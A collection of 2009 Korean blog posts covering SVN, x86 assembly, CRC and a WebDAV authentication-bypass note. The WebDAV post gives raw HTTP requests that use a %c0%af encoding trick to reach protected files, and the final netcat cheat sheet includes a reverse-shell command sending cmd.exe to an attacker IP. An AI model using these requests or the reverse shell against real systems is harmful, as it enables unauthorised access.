2009.11.14 15:44 System


SVN(subversion)?
SVN 은 버전 관리 시스템이며 CVS 의 단점을 보안 하기위해 만들어진 시스템입니다.
SVN 을 기준으로 업데이트하고 서버에 업로드하는 형식으로 사용자가 언제 어떤 부분을 수정을 했는지에 대한 모든 소스의 로그가 남고 간단히 예전 버전으로 돌리기도 가능합니다.
더 자세한건 위키피디아를 참고 하세요.

http://ko.wikipedia.org/wiki/서브버전




버전 관리 시스템을 이용해야하는 까닭

  • 무언가 잘못되었을 때 복구를 돕기 위하여
  • 프로젝트 진행 중 과거의 어떤 시점으로 돌아갈 수 있게 하기 위하여
  • 여러사람이 같은 프로젝트에 참여할 경우, 각자가 수정한 부분을 팀원 전체가 동기화하는 과정을 자동화하기 위하여
  • 소스 코드의 변경 사항을 추적하기 위하여
  • 소스 코드에서 누가 수정했는지 추적하기 위하여
  • 대규모 수정 작업을 더욱 안전하게 진행하기 위하여
  • 가지내기(Branch)로 프로젝트에 영향을 최소화 하면서 새로운 부분을 개발하기 위하여
  • 접붙이기(Merge)로 검증이 끝난 후 새로이 개발된 부분을 본류(trunk)에 합치기 위하여
  • 많은 오픈 소스 프로젝트에서 어떠한 형태로든 버전 관리를 사용하고 있으므로
  • 코드의 특정 부분이 왜 그렇게 쓰여 졌는지 의미를 추적하기 위하여



일반적으로 버전 관리 소프트웨어가 사용되는 방식
  • 갑돌이가 어떤 File을 저장소(repository)에 추가(add) 한다.
  • 추가되었던 File을 갑돌이가 인출(Check out) 한다.
  • 갑돌이가 인출된 file을 수정한 다음, 저장소에 예치(Commit) 하면서 설명을 붙인다.
  • 다음날 을순이가 자신의 작업 공간을 동기화(Update) 한다. 이 때 갑돌이가 추가했던 file이 전달된다.
  • 을순이가 추가된 file의 수정 기록(Change log)을 보면서 갑돌이가 처음 추가한 file과 이후 변경된 file의 차이를 본다(Diff).


    SVN 구조
    대략.. 아래 처럼 된다는 거만 알고 있으면 될듯 합니다.

 

 






자료출처:http://www.cyworld.com/ruo91/3203221

'System' 카테고리의 다른 글

[펌]함수 호출규약 [Calling Convention]  (0) 2010.01.01
Format String Bug  (0) 2009.12.22
Reverse Engineering Cheat-Sheet  (0) 2009.11.30
What is SVN[Subversion]?  (0) 2009.11.14
어셈블리어 명령어 정리  (3) 2009.11.06
플레그는 아무하고나 만나주지 않는다.  (0) 2009.11.03
Posted by LinkC

2009.11.14 15:22 Web


  •  WebDAV?

    Web-based Distributed Authoring and Versioning
    Web 에서 분산 Authoring을 수행하기 위한 HTTP의 확장 프로토콜
    MKCOL, COPY, MOVE, LOCK, UNLOCK 등의 메소드 추가

    간단한 웹하드를 구현할 수 있고, FTP를 통하지 않고 HTTP 프로토콜을 통해
    웹상의 파일을 송수신 하고 수정, 삭제 할 수 있다


  • 취약점

'/' 를 %c0%af 로 우회

GET /  %c0%af/protected/protected.zip HTTP/1.1
         Translate: f
         Connection: close
         Host: servername

GET /prot%c0%afected/protected.zip HTTP/1.1
         Translate: f
         Connection: close
         Host: servername


동영상 : http://vimeo.com/4750408 


  • nmap 을 이용한 WebDAV 스캔


 

$ svn co --username guest --password "" svn://svn.insecure.org/nmap/
$ cd nmap
$ ./configure
$ make
$ make install

 해서 nmap을 깐 뒤

http://nmap.org/svn/scripts/http-iis-webdav-vuln.nse 이곳에서 script를 받습니다. 

$ cd /usr/local/share/nmap/scripts

$ wget http://nmap.org/svn/scripts/http-iis-webdav-vuln.nse

 

다음으로 스캔을 시작합니다.
예로 

$ nmap -n -PN -p80 --script=http-iis-webdav-vuln 122.122.122.122

 에러가 날수도 있는데요.
data폴더에 folders.lst 파일이 없는 경우 입니다. 

아까 받은 namp 폴더에서 /nselib/data 안의 파일을 /usr/local/share/nmap/nselib/data로 복사하여 실행합니다



출처:http://boanin.tistory.com/127


 

Posted by LinkC

2009.11.06 22:33 System

 

명  령  어

설                                               명

Data Transfer

MOV

Move

데이터 이동 (전송)

PUSH

Push

오퍼랜드의 내용을 스택에 쌓는다

POP

Pop

스택으로부터 값을 뽑아낸다.

XCHG

Exchange Register/memory with Register

첫 번째 오퍼랜드와 두 번째 오퍼랜드 교환

IN

Input from AL/AX to Fixed port

오퍼랜드로 지시된 포트로부터 AX에 데이터 입력

OUT

Output from AL/AX to Fixed port

오퍼랜드가 지시한 포트로 AX의 데이터 출력

XLAT

Translate byte to AL

BX:AL이 지시한 데이블의 내용을 AL로 로드

LEA

Load Effective Address to Register

메모리의 오프셋값을 레지스터로 로드

LDS

Load Pointer to DS

REG←(MEM), DS←(MEM+2)

LES

Load Pointer ti ES

REG←(MEM), ES←(MEM+2)

LAHF

Load AH with Flags

플래그의 내용을 AH의 특정 비트로 로드

SAHF

Store AH into Flags

AH의 특정 비트가 플래그 레지스터로 전송

PUSHF

Push Flags

플래그 레지스터의 내용을 스택에 쌓음

POPF

Pop Flags

스택으로부터 플래그 레지스터로 뽑음

Arithmetic

ADD

Add

캐리를 포함하지 않은 덧셈

SBB

Subtract with Borrow

캐리를 포함한 뺄셈

DEC

Decrement

오퍼랜드 내용을 1 감소

NEG

Change Sign

오퍼랜드의 2의 보수, 즉 부호 반전

CMP

Compare

두 개의 오퍼랜드를 비교한다

ADC

Add with Carry

캐리를 포함한 덧셈

INC

Increment

오퍼랜드 내용을 1 증가

AAA

ASCII adjust for Add

덧셈 결과 AL값을 UNPACK 10진수로 보정

DAA

Decimal adjust for Add

덧셈 결과의 AL값을 PACK 10진수로 보정

SUB

Subtract

캐리를 포함하지 않은 뺄셈

AAS

ASCII adjust for Subtract

뺄셈 결과 AL값을 UNPACK 10진수로 보정

DAS

Decimal adjust for Subtract

뺄셈 결과의 AL값을 PACK 10진수로 보정

MUL

Multiply (Unsigned)

AX와 오퍼랜드를 곱셈하여 결과를 AX 또는 DX:AX에 저장

IMUL

Integer Multiply (Signed)

부호화된 곱셈

AAM

ASCII adjust for Multiply

곱셈 결과 AX값을 UNPACK 10진수로 보정

DIV

Divide (Unsigned)

AX 또는 DX:AX 내용을 오퍼랜드로 나눔. 몫은 AL, AX 나머지는 AH, DX로 저장

IDIV

Integer Divide (Signed)

부호화된 나눗셈

AAD

ASCII adjust for Divide

나눗셈 결과 AX값을 UNPACK 10진수로 보정

CBW

Convert byte to word

AL의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장

CWD

Convert word to double word

AX의 워드 데이터를 부호를 포함하여 DX:AX의 더블 워드로 변환

Logic

NOT

Invert

오퍼랜드의 1의 보수, 즉 비트 반전

SHL/SAL

Shift logical / arithmetic Left

왼쪽으로 오퍼랜드만큼 자리 이동 (최하위 비트는 0)

SHR

Shift logical Right

오른쪽으로 오퍼랜드만큼 자리 이동 (최상위 비트 0)

SAR

Shift arithmetic Right

오른쪽 자리이동, 최상위 비트는 유지

ROL

Rotate Left

왼쪽으로 오퍼랜드만큼 회전 이동

ROR

Rotate Right

오른쪽으로 오퍼랜드만큼 회전 이동

RCL

Rotate through Carry Left

캐리를 포함하여 왼쪽으로 오퍼랜드만큼 회전 이동

RCR

Rotate through Carry Right

캐리를 포함하여 오른쪽으로 오퍼랜드만큼 회전 이동

AND

And

논리 AND

TEST

And function to Flags, no result

첫 번째 오퍼랜드와 두 번째 오퍼랜드를 AND하여 그 결과로 플래그 세트

OR

Or

논리 OR

XOR

Exclusive Or

배타 논리 합 (OR)

String Manipulation

REP

Repeat

REP 뒤에 오는 스트링 명령을 CX가 0이 될 때까지 반복

MOVS

Move String

DS:SI가 지시한 메모리 데이터를 ES:DI가지시한 메모리로 전송

CMPS

Compare String

DS:SI와 ES:DI의 내용을 비교하고 결과에 따라 플래그 설정

SCAS

Scan String

AL 또는 AX와 ES:DI가 지시한 메모리 내용 비교하고 결과에 따라 플래그 설정

LODS

Load String

SI 내용을 AL 또는 AX로 로드

STOS

Store String

AL 또는 AX를 ES:DI가 지시하는 메모리에 저장

Control Transfer

CALL

Call

프로시저 호출

JMP

Unconditional Jump

무조건 분기

RET

Return from CALL

CALL로 스택에 PUSH된 주소로 복귀

JE/JZ

Jump on Equal / Zero

결과가 0이면 분기

JL/JNGE

Jump on Less / not Greater or Equal

결과가 작으면 분기 (부호화된 수)

JB/JNAE

Jump on Below / not Above or Equal

결과가 작으면 분기 (부호화 안 된 수)

JBE/JNA

Jump on Below or Equal / not Above

결과가 작거나 같으면 분기 (부호화 안 된 수)

JP/JPE

Jump on Parity / Parity Even

패리티 플레그가 1이면 분기

JO

Jump on Overflow

오버플로가 발생하면 분기

JS

Jump on Sign

부호 플레그가 1이면 분기

JNE/JNZ

Jump on not Equal / not Zero

결과가 0이 아니면 분기

JNL/JGE

Jump on not Less / Greater or Equal

결과가 크거나 같으면 분기 (부호화된 수)

JNLE/JG

Jump on not Less or Equal / Greater

결과가 크면 분기 (부호화된 수)

JNB/JAE

Jump on not Below / Above or Equal

결과가 크거나 같으면 분기 (부호화 안 된 수)

JNBE/JA

Jump on not Below or Equal / Above

결과가 크면 분기 (부호화 안 된 수)

JNP/JPO

Jump on not Parity / Parity odd

패리티 플레그가 0이면 분기

JNO

Jump on not Overflow

오버플로우가 아닌 경우 분기

JNS

Jump on not Sign

부호 플레그가 0이면 분기

LOOP

Loop CX times

CX를 1감소하면서 0이 될 때까지 지정된 라벨로 분기

LOOPZ/LOOPE

Loop while Zero / Equal

제로 플레그가 1이고 CX≠0이면 지정된 라벨로 분기

LOOPNZ/LOOPNE

Loop while not Zero / not Equal

제로 플레그가 0이고 CX≠0이면 지정된 라벨로 분기

JCXZ

Jump on CX Zero

CX가 0이면 분기

INT

Interrupt

인터럽트 실행

INTO

Interrupt on Overflow

오버플로우가 발생하면 인터럽트 실행

IRET

Interrupt Return

인터럽트 복귀 (리턴)

Processor Control

CLC

Clear Carry

캐리 플레그 클리어

CMC

Complement Carry

캐리 플레그를 반전

CLD

Clear Direction

디렉션 플레그를 클리어

CLI

Clear Interrupt

인터럽트 플레그를 클리어

HLT

Halt

정지

LOCK

Bus Lock prefix


STC

Set Carry

캐리 플레그 셋

NOP

No operation


STD

Set Direction

디렉션 플레그 셋

STI

Set Interrupt

인터럽트 인에이블 플레그 셋

WAIT

Wait

프로세서를 일지 정지 상태로 한다

ESC

Escape to External device

이스케이프 명령

 

8086 지시어

 

지시어

내                                  용

형                                  식

SEGMENT
-
END

어셈블리 프로그램은 한 개 이상의 세그먼트들로 구성된다. SEGMENT 지시어는 하나의 세그먼트를 정의한다.

segname SEGMENT ; 세그먼트 시작
⋮ ; 세그먼트 내용
segname ENDS ; 세그먼트 끝

PROC
-
ENDP

매크로 어셈블리에서는 프로그램의 실행 부분을 모듈로 작성할 수 있다. 이 모듈을 프로시저(Procedure)라 부르며, PROC 지시어가 이를 정의한다.

procname PROC ; 프로시저의 시작
⋮ ; 프로시저의 내용
procname ENDP ; 프로시저의 끝

ASSUME

어셈블러에게 세그먼트 레지스터와 사용자가 작성한 세그먼트의 이름을 연결시킨다.

ASSUME SS:stack_segname,
DS:data_segname,
CS:code_segname,
ES:extra_segname

END

전제 프로그램의 끝을 나타냄

END

데이터 정의 지시어 : 프로그램에서 데이터를 저장할 기억 장소를 정의, 초기값 부여

DB

Define Byte

name DB 초기값

DW

Define Word

name DW 초기값

DD

Define Double Word

name DD 초기값

DQ

Define Quad Word

name DQ 초기값

DT

Define Ten Bytes

name DT 초기값

EQU

변수 이름에 데이터값이나 문자열 정의

name EQU 데이터값/문자열

=

EQU와 달리 정의된 값을 변경 가능


EVEN

어셈블리시 이 지시어가 사용되는 곳의 주소가 짝수로 되도록 함


PAGE

어셈블리 리스트의 형식을 결정

PAGE [length][,width]

TITLE

어셈블리 리스트의 각 페이지에 제목 출력

TITLE text

 

출처 : Tong - 통토로동통똥똥님의 reverse tech통

'System' 카테고리의 다른 글

[펌]함수 호출규약 [Calling Convention]  (0) 2010.01.01
Format String Bug  (0) 2009.12.22
Reverse Engineering Cheat-Sheet  (0) 2009.11.30
What is SVN[Subversion]?  (0) 2009.11.14
어셈블리어 명령어 정리  (3) 2009.11.06
플레그는 아무하고나 만나주지 않는다.  (0) 2009.11.03
Posted by LinkC

2009.11.06 09:57 Etc..



진법의 변환

저장될변수=base_convert("값","값의진법","변환될진법");



큰따옴표 사용

\'


'Etc..' 카테고리의 다른 글

PHP Tip [ 지속 수정 ]  (0) 2009.11.06
BackTrack 설치!  (2) 2009.10.28
Posted by LinkC

2009.11.06 09:53 Etc../Encryption


순환 중복 검사(巡環重復檢査), CRC(cyclic redundancy check)는 네트워크 등을 통하여 데이터를 전송할 때 전송된 데이터에 오류가 있는지를 확인하기 위한 체크값을 결정하는 방식을 말한다.

데이터를 전송하기 전에 주어진 데이터의 값에 따라 CRC 값을 계산하여 데이터에 붙여 전송하고, 데이터 전송이 끝난 후 받은 데이터의 값으로 다시 CRC 값을 계산하게 된다. 이어서 두 값을 비교하고, 이 두 값이 다르면 데이터 전송 과정에서 잡음 등에 의해 오류가 덧붙여 전송된 것 임을 알 수 있다.

CRC는 이진법 기반의 하드웨어에서 구현하기 쉽고, 데이터 전송 과정에서 발생하는 흔한 오류들을 검출하는 데 탁월하다. 하지만 CRC의 구조 때문에 의도적으로 주어진 CRC 값을 갖는 다른 데이터를 만들기가 쉽고, 따라서 데이터의 무결성을 검사하는 데는 사용될 수 없다. 이런 용도로는 MD5 등의 함수들이 사용된다.


CRC는 가환환(commutative ring)의 나눗셈에 기반한다. 여기서 쓰이는 환은 법 2 (modulo 2) 정수에서 정의된 다항식의 환이다. 쉽게 말하면, 이는 한 비트의 계수를 갖는 다항식의 집합이고, 이 다항식들간의 사칙연산은 다시 계수들을 가장 아래 비트만 따도록 정의하여 한 비트 계수의 다항식으로 표현하도록 정의된다. 예를 들면:

(x2 + x) + (x + 1) = x2 + 2x + 1 = (x + 1)2

위 식에서 2는 이진수로 10이고, 따라서 정의에 의해서 가장 아랫자리 수(또는, 가장 아래 비트)인 0을 취하고 그 이상의 자리수는 버린다. 다음은 곱셈의 예이다:

(x2 + x)(x + 1) = x3 + 2x2 + x = x3 + x

더하기와 곱하기 말고 나누기도 정의할 수 있다. 예를 들어, x3 + x2 + xx + 1 로 나눈다고 해 보자.

x3 + x2 + x = (x + 1)(x2 + 1) − 1 = (x + 1)(x2 + 1) + 1.

으로 정리할 수 있다. 다시 말하면, 나눗셈의 몫은 x2 + 1 이고 나머지는 -1 이고, -1은 홀수이기 때문에 1이 된다.

모든 데이터 비트 스트림은 이러한 다항식의 계수로 상상할 수 있다. 즉, 101 은 0번자리가 1, 1번자리가 0, 2번자리가 1이므로, 다항식 x2 + 1에 해당한다고 볼 수 있다. CRC 값은, 정해진 특정 다항식으로 데이터 스트링으로 주어진 다항식을 나누어 그 나머지를 나타내는 특정 길이의 비트 스트링이 된다. 이 나머지를 구하는 간단하고 빠른 알고리즘은 잘 알려져 있다. CRC는 종종 체크섬(checksum)으로 불리는데, 엄밀히 말하면 나눗셈을 통해 얻어지는 CRC 값에는 옳지 않은 이름이다.

CRC의 중심을 이루는 알고리즘은 의사코드로 다음과 같이 쓸 수 있다:

function crc(bit array bitString[1..len], int polynomial) {
    shiftRegister := initial value // 보통 00000000 또는 11111111
    for i from 1 to len {
        if (shiftRegister의 최상위 비트) xor bitString[i] = 1
            shiftRegister := (shiftRegister left shift 1) xor polynomial
        else
            shiftRegister := shiftRegister left shift 1
    }
    return shiftRegister
}

(참고: 실제로는 여러 개의 최상위 비트들에 해당하는 shiftRegister의 표를 만들어서 한꺼번에 여러 비트를 처리해 속도를 높이는 방법을 쓰며, 특히 8비트 단위로 처리하는 방법이 많이 사용된다.)

위의 구현은 다음과 같은 두 가지 방법으로 고칠 수 있으며, 따라서 둘 중 하나를 적용하거나 둘 다 적용할 경우 CRC 값을 계산하는 네 가지 동등한 방법이 존재한다:

  1. shiftRegister를 비트 단위로 뒤집고, 각 단계에서 최하위 비트를 테스트한 뒤 오른쪽으로 1비트 쉬프트한다. 이 경우 polynomial의 값을 비트 단위로 뒤집어야 하고, 결과물 역시 비트 단위로 뒤집어진다.
  2. shiftRegister의 한 비트와 bitString의 한 비트를 xor하는 대신에, shiftRegisterbitString에서 polynomial에 설정된 비트에 해당하는 모든 비트들을 xor한 1비트 결과를 shiftRegister에 더한다. polynomial을 적당히 고치면 같은 나머지를 얻을 수 있다. 이 방법은 소프트웨어에서 구현하기는 힘들지만 하드웨어 구현에서는 종종 사용되며, CRC와 깊은 관련이 있는 선형 피드백 쉬프트 레지스터를 설명하는 데 자주 사용된다.

특정한 CRC는 사용되는 다항식으로 정의한다. n비트 CRC를 만드는 데는 xn + ... + 1 꼴의 n차 다항식이 필요하다. 이 다항식은 기본적으로 (n+1)비트 문자열로 나타낼 수 있지만, 차수가 가장 높은 xn 항의 계수는 항상 1이기 때문에 이 항을 빼고 n비트 문자열로 나타낼 수 있다. 예를 들어 CRC-16 표준에 사용되는 다항식인 x16 + x15 + x2 + 1은 비트 순서에 따라서 16진수 숫자 0x8005나 0xa001로 나타낼 수 있으며, 이더넷, FDDI, PKZIP, WinZip, PNG 등에서 널리 사용되는 CRC-32의 경우 0x04C11DB7 또는 0xEDB88320으로 쓸 수 있다.


출처: http://ko.wikipedia.org/wiki/%EC%88%9C%ED%99%98_%EC%A4%91%EB%B3%B5_%EA%B2%80%EC%82%AC

'Etc.. > Encryption' 카테고리의 다른 글

Cryptography!  (0) 2010.06.16
What is CRC?  (0) 2009.11.06
What is Padding?  (0) 2009.10.31
Posted by LinkC
 TAG CRC, CRC-32, crc32

2009.11.03 23:59 System


우리가 cpu에서 플레그 레지스터라는 이야기를 많이 들어보셨으리라 생각합니다. 일단 어셈블리를 공부하시기로 한 이상 플레그 레지스터를 모르고 넘어간다는 일은 수동기어를 장착한 차량에서 기어바꿀줄 모르고 1단으로만 기어를 놓고 달릴줄만 아는 상황과 비슷하다고 말씀 드릴 수 있습니다. (좀 표현이 이상했나요? ^^a)

플레그레지스터는 CPU내부의 명령에 따른 결과나 명령수행방식을 설정하거나 설정되는 레지스터를 말합니다.

이 레지스터는 다음과 같은 항목으로 구성되어 있습니다. 


CF - carry flag(케리플레그) 바로 전 연산에서 자리를 넘치거나 쉬프트등으로

        밖으로 밀려난 비트값이 1일경우 1로 설정되는 플레그 

PF - Parity flag(패리티 플레그) 바로전에 연산된 값의 결과에 1인 비트수가 짝수일경우 1로 설정됨. 

AF - Adjust flag(보정 플레그) BCD 연산을 위하여 보정에 사용되는 플레그 

ZF - Zero flag(제로 플레그) 바로 위의 연산결과값이 0이 나오거나 비교시 두 값이 같으면 1로 설정 

SF - Sign flag(사인 플레그) 연산결과의 부호를 나타내며 결과값이 양수일때는 0으로 음수일때는 1로 설정 

OF - Overflow flag(오버플로우 플레그) 연산결과가 양의 정수값이나 음의 정수값 범위를 넘칠경우 설정되는 플레그, 케리플레그와 동작이 유사하여 케리플레그와 값이 일치하는 경우도 종종 있다.

이외에도 시스탬종작을 위한 IF , NT , RF , VM , IOPL 등의 플레그가 있지만 오늘 강좌하려는 범위에서

넘어가므로 생략하기로 합니다. 


 그럼 이 플레그들과 명령들과의 관계를 알아보기로 합니다. 이제부터 필요한 준비물이 있습니다. 어셈블리

책 중 CPU명령어가 자세히 나온 책을 하나 선정하여 영향받는 플레그와 영향주는 플레그항목까지 기록된

자료를 준비해 주시기 바랍니다. 어차피 어셈블리 프로그래밍을 한다면 이정도의 준비물은 있어야 합니다. 


 우리가 플레그하면 조건분기명령과 많이 연관을 짓습니다. 만약 ax 레지스터 값이 5인지를 알려면 다음과

같이 합니다. 


cmp ax , 5 
je xxx ;     ax값이 5일경우 점프할곳 
jne yyy ;   ax값이 5가 아닐경우 점프할곳 

이정도 부분까지는 대충 이혜하실수 있어야 다음 부분을 보셔도 이혜가 가시게 됩니다.

위의 명령의 경우 다음과 같이 바꿀수 있습니다.

sub ax , 5 

je xxx ;      ax값이 5일경우 점프할곳 
jne yyy ;    ax값이 5가 아닐경우 점프할곳 

대부분 어셈블리 명령을 여타언어에서의 "if"명령과 많이 연관시켜 생각하기 때문에 "if"와 매우 유사한

기능을 하는 cmp명령이 비교명령으로 생각하여 cmp 명령으로 비교연산을 하는 경우가 생깁니다.

하지만 이는 어셈블리 명령으로 다른 언어를 흉내 내려할때에 사용하는것이지 어셈블리를 무엇때문에

사용하려 하는지에 대하여 고찰해 보아야 할 필요가 있음을 느끼게 하는 대목입니다. 

일단은 먼저 명령과 플레그에 관하여 상관관계를 알아봐야 합니다. 우리거 명령표를 볼때 (좀 자세히 나온것)

영향받는 플레그와 영향주는 플레그가 표기되어 있을것입니다.

예를 들어서,

dec 명령의 경우 명령이 실행에 영향받는 플레그 - 없음

명령이 실행후에 영향주는 플레그                      - OF, SF, ZF, AF, PF 


이 뜻은 dec 명령은 실행시 실행특성에 영향을 주는 플레그는 존재 안하며 실행후 결과연산특성이

적용되는 플레그들은 OF, SF, ZF, AF, PF 가 있다는 뜻입니다. 즉 dec 명령 수행후 결과값이 음수

일경우 SF 가 1로 설정이 되고 (음수이므로) ZF는 0이 되며(0이 아니므로) PF는 결과값의 내부

패리티를 채크하여 1이 짝수개이면 1이 설정되고 홀수개면 0이 설정되게 되어 있다는 뜻입니다.

그러므로 dec 연산을 한후 사용할수 있는 조건분기명령은

dec ax 

jz xxxx ;    결과가 0이면 점프 
js xxxx ;    결과가 음수일경우 
jp xxx ;      결과가 짝수 패리티일경우 

등이 될수 있습니다. 따라서 이러한 사실들로 우리는 cmp 명령이 결과값에 영향을 안주고

플레그에만 영향을 주는 sub명령임을 알 수 있습니다. 여기서 원래라면 플레그와 음수/양수와

부호없는 수의 크기비교에 따른 플레그값의 설정을 설명해야 하지만 지면의 크기와 여러분의

공부를 위하여 여러분께 숙제로 남겨드리기로 하겠습니다. 

(헉.. 돌이 날라오는군요) 

그럼 다음으로 플레그의 용법이 조건분기에만 한하지 않음을 예로 들어보이겠습니다.

이 예중 대표적인 예가 adc 명령입니다.  우리가 64비트수치에다가 어떤 수를 더한다고

생각합니다. 하지만 우리가 쓰는 cpu는 32비트 이므로 64비트 수치를 바로 계산할수

있는 명령은 없습니다. 따라서 먼저 64비트중 하위 32비트를 덧셈을 한 후 더한값이

자리를 넘칠 경우 상위 32비트를 더할때 1을 더 더해주면 됩니다. 바로 이럴때 사용되는

것이 carry flag 입니다. 위에서 설명했듯이 케리플레그는 연산의 자리를 넘치거나 했을때

설정되는 플레그입니다. add 명령은 결과값에 대하여 carry 플레그에 영향을 주는 명령입니다.

따라서 x 라는 64비트 변수를 y라는 64비트 변수로 더한다고 할때 그 연산루틴은 다음과 같이

설정할수 있습니다. 


mov eax , dword ptr y[0] ;  먼저 y의 하위 32비트 값을 얻어서 
add dword ptr x[0] , eax ;   x의 하위 32비트에 더한다음 
mov eax , dword ptr y[4] ;  다음 y의 상위 32비특밧을 얻어서 
adc dword ptr x[4] , eax ;   이전하위 32비트의 더한 넘친자리 수 까지 더하여 x의 상위 32비트에 더한다 

여기서 질문 2가지를 하실수 있게 되실겁니다. 
Q1) adc 는 어떤 일을 하는데 하위에서 자리넘침이 있는지를 알수 있나요? 

A1) 옙, 그건 먼저 add로 연산했을 경우 add 명령은 CF (carry flag)에 결과값 영향을 끼칩니다.

carry는 연산결과가 변수타입이 표시할 수 있는 범위를 넘쳤을 경우 1로 설정되므로 두 덧셈의

결과가 dword (더블워드,32비트)를 넘쳤을 경우 1로 설정됩니다. 후에 밑에 쓰인 adc 명령은

덧셈을 하면서 CF값까지 같이 더하는 명령입니다. 즉, 바로 위쪽의 add 명령으로 인하여

자리넘침이 생겼을 경우 케리플레그값이 1이 되므로 상위 32비트를 더하면서 밑에 32비트 덧셈

결과의 자리넘침 결과(=CF)값가지 더해지게 되는 것이지요. 이해를 위하여 다음 예제를 넣겠습니다. 


ex1) 
mov eax , 0 ;eax 를 0으로 만듬 
clc ;케리플레그(CF) 를 0으로 만듬,또는 클리어한다라고 
adc eax , 0 ;표현, 그런후 adc 명령으로 eax + 0 + CF를 연산 
------------- 
결과 eax = 0 

ex2) 
mov eax , 0 ;        eax 를 0으로 만듬 
stc ;                    케리플레그(CF) 를 1로 만듬,또는 설정한다라고 
adc eax , 0 ;        표현, 그런후 adc 명령으로 eax + 0 + CF를 연산 
------------- 
결과 eax = 1 

이제 adc 명령이 이혜가 가시는지요 ^^; 

Q2) 위의 소스를 보면 하위 32비트 덧셈 명령인 add 명령과 케리플레그 의 형향을 받는

덧셈인 adc 명령사이에 mov 라는 명령이 쓰였습니다. 그렇다면 이 mov 명령의 영향에

의해서 CF값이 바뀌어 adc 명령의 수행에 이상을 주지 않을까요? 

A2) 위의 설명을 좀더 이혜할 수 있는 기회입니다. 이 설명의 제일 앞 중에 영향을 주는

플레그리스트가 각 명령별로 틀리다고 말씀 드렸을 것입니다. 다행히도 mov 명령은

CF 플레그에 영향을 받지도 주지도 않는 명령어 입니다. 따라서 mov 명령은 CF 값을

변화시키거나 하지 않습니다. 참고로 mov 명령은 영향받는 플레그도 없고 주는 플레그도 없는

명령입니다. 그러므로 add 와 adc 사이에는 CF에 영향을 주지 않는 명령이라면 얼마든지

써도 되는 것입니다. ^^ 


이번에는 어셈블리를 이용한 최적화된 조건분기를 보여드리겠습니다.

만약 x값이 y값보다 큰지, 같은지 , 작은지를 비교해야 할 경우가 생긴다고 합니다.

이럴경우 일반적으로 연산을 구현할때

if (x=y) 


        file://같을때 처리문 

else 

        if (x<y) 
       { 
                  file://x가 y보다 작을때 처리문 
        } 
        else 
       { 
                  file://x가 y보다 클때 처리문 
        } 

과 같은 비교조건문이 생기게 됩니다. 이를 컴파일하여 디스어셈블 할 경우

엄청나게 최적화되지 않은 컴파일러라면 다음과 같이 됩니다.

file://VC 6.0 디스어셈블 예

102: if (x=y) 

00402F31 mov eax,dword ptr [ebp-54h] 
00402F34 mov dword ptr [ebp-50h],eax 
00402F37 cmp dword ptr [ebp-50h],0 
00402F3B  je   CTestasmView::OnBtnAsmTest+46h (00402f46) 
103: { 
105: } 
106: else 
00402F44 jmp  CTestasmView::OnBtnAsmTest+5Eh (00402f5e) 
107: { 
108: if(x<y) 
00402F46 mov ecx,dword ptr [ebp-50h] 
00402F49 cmp ecx,dword ptr [ebp-54h] 
00402F4C jge CTestasmView::OnBtnAsmTest+57h (00402f57) 
109: { 
111: } 
112: else 
00402F55 jmp CTestasmView::OnBtnAsmTest+5Eh (00402f5e) 
113: { 
115: } 
116: } 

하지만 이를 어셈블리 코드로 고친다음 다음과 같이 할 수 있습니다. 

mov eax , y 

cmp x , eax 
jg Lvl1 ;      x가 y보다 클경우 처리 
jl Lvl2 ;       x가 y보다 작을경우 처리 
;                x와 y가 같을경우 처리 
... 
jmp CmpEnd 

Lvl1: 
... ;             x가 y보다 클경우 처리문 
jmp CmpEnd 

Lvl2: 
... ;             x가 y보다 작을경우 처리문 

CmpEnd: 


좀더 사용 명령수가 줄어들게 됩니다. 뿐만 아니라 명령처리에 대한 흐름을 원활하기

위하여 이런 분기가 일어나지 않도록 컨디션 mov 명령이 팬티엄pro부터 생겨났으므로

조건에 따라 처리해야할 변수의 갯수가 적을 경우 이런 명령을 이용하면 무분기 조건처리도

가능합니다. 물론 flag와 명령의 처리특성을 이용하신다면 무분기 조건처리에 대한 여러가지

편법 또한 이용하실수 있게 되실겁니다. 


이번 강좌또한 마치며 한말씀 드리려 합니다. 항상 기본을 하며 말씀을 드리는 것이지만

어셈블리를 사용하실때 왜 프로그램의 소스에 어셈블리를 사용하는가와 어떨때 어셈블리를

사용하고 어떨때 사용하지 않는것이 낳은지를 잘 아시는것이 좋은 프로그래머의 예라 할 수

있습니다. 아직까지도 이런 부분에서 많은 분들이 어셈블리에 대하여 많은 소음이 끊이지

않고 있습니다. 저는 따로 생각하지 않고 적어도 어셈블리는 상용프로그램에서도 많이 사용되고

있으며 무언가 필요하기 때문에 외국 고수준 프로그래머들도 사용하고 있으며 같은 로직으로

되었을때 타사제품과 좀더 경쟁력을 갖추기 위하여 나은 수행속도를 원할때 선택되는 사항이라는

점을 알아주시면 좋겠습니다. 

출처 - http://ttongfly.net/zbxe/?document_srl=45194

'System' 카테고리의 다른 글

[펌]함수 호출규약 [Calling Convention]  (0) 2010.01.01
Format String Bug  (0) 2009.12.22
Reverse Engineering Cheat-Sheet  (0) 2009.11.30
What is SVN[Subversion]?  (0) 2009.11.14
어셈블리어 명령어 정리  (3) 2009.11.06
플레그는 아무하고나 만나주지 않는다.  (0) 2009.11.03
Posted by LinkC

2009.10.31 16:53 Etc../Tool


connect to somewhere:   nc [-options] hostname port[s] [ports] ...
listen for inbound:     nc -l -p port [options] [hostname] [port]
options:
        -d              detach from console, background mode
        -e prog         inbound program to exec [dangerous!!]
        -g gateway      source-routing hop point[s], up to 8
        -G num          source-routing pointer: 4, 8, 12, ...
        -h              this cruft
        -i secs         delay interval for lines sent, ports scanned
        -l              listen mode, for inbound connects
        -L              listen harder, re-listen on socket close
        -n              numeric-only IP addresses, no DNS
        -o file         hex dump of traffic
        -p port         local port number
        -r              randomize local and remote ports
        -s addr         local source address
        -t              answer TELNET negotiation
        -u              UDP mode
        -v              verbose [use twice to be more verbose]
        -w secs         timeout for connects and final net reads
        -z              zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]



Port Scanning
echo quit | nc -vv -w 5 [ip] [port range]

-> port range에 각각 quit 이란 문자를 보내고 5초간 대기한다



File Transfer
ex)Server :nc -l -p 1024 </tmp/test.tgz
Client: nc [Server ip] > test.tgz






Getting Shell


ex) Attacker: nc -l -p 1024
Victim: nc -e cmd.exe -n [Attacker ip] 1024

'Etc.. > Tool' 카테고리의 다른 글

[ NotePad++ ] 단축 실행 , CMD 초기 경로 지정  (0) 2010.04.09
[ Hex Editor ] HxD  (0) 2010.03.19
[ Text Editor ] Notepad++  (0) 2010.03.19
